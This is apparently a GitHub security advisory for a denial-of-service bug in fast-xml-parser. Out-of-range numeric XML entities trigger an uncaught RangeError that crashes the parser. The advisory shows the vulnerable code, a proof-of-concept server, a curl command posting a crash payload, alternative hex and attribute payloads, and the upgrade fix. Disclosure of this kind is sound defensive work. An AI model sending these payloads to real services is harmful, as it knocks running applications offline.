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HIGH7.5

GHSA-37qj-frw5-hhjh

fast-xml-parser has RangeError DoS Numeric Entities Bug

Quick fix

GHSA-37qj-frw5-hhjh — fast-xml-parser: upgrade to the fixed version with the command below.

npm install fast-xml-parser@5.3.4

Details

### Summary A RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., `�` or `�`). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.

### Details The vulnerability exists in `/src/xmlparser/OrderedObjParser.js` at lines 44-45:

```javascript "num_dec": { regex: /&#([0-9]{1,7});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) }, "num_hex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 16)) }, ```

The `String.fromCodePoint()` method throws a `RangeError` when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this: - `[0-9]{1,7}` matches up to 9,999,999 - `[0-9a-fA-F]{1,6}` matches up to 0xFFFFFF (16,777,215)

The entity replacement in `replaceEntitiesValue()` (line 452) has no try-catch:

```javascript val = val.replace(entity.regex, entity.val); ```

This causes the RangeError to propagate uncaught, crashing the parser and any application using it. ### PoC #### Setup

Create a directory with these files:

``` poc/ ├── package.json ├── server.js ```

**package.json** ```json { "dependencies": { "fast-xml-parser": "^5.3.3" } } ```

**server.js** ```javascript const http = require('http'); const { XMLParser } = require('fast-xml-parser');

const parser = new XMLParser({ processEntities: true, htmlEntities: true });

http.createServer((req, res) => { if (req.method === 'POST' && req.url === '/parse') { let body = ''; req.on('data', c => body += c); req.on('end', () => { const result = parser.parse(body); // No try-catch - will crash! res.end(JSON.stringify(result)); }); } else { res.end('POST /parse with XML body'); } }).listen(3000, () => console.log('http://localhost:3000')); ```

#### Run

```bash # Setup npm install

# Terminal 1: Start server node server.js

# Terminal 2: Send malicious payload (server will crash) curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><root>&#9999999;</root>' http://localhost:3000/parse ``` #### Result

Server crashes with: ``` RangeError: Invalid code point 9999999 ```

#### Alternative Payloads

```xml <!-- Hex variant --> <?xml version="1.0"?><root>&#xFFFFFF;</root>

<!-- In attribute --> <?xml version="1.0"?><root attr="&#9999999;"/> ```

### Impact *Denial of Service (DoS):** Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:

- **API servers** accepting XML payloads - **File processors** parsing uploaded XML files - **Message queues** consuming XML messages - **RSS/Atom feed parsers** - **SOAP/XML-RPC services**

A single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/fast-xml-parser
Introduced in: 5.0.9Fixed in: 5.3.4
Fixnpm install fast-xml-parser@5.3.4

References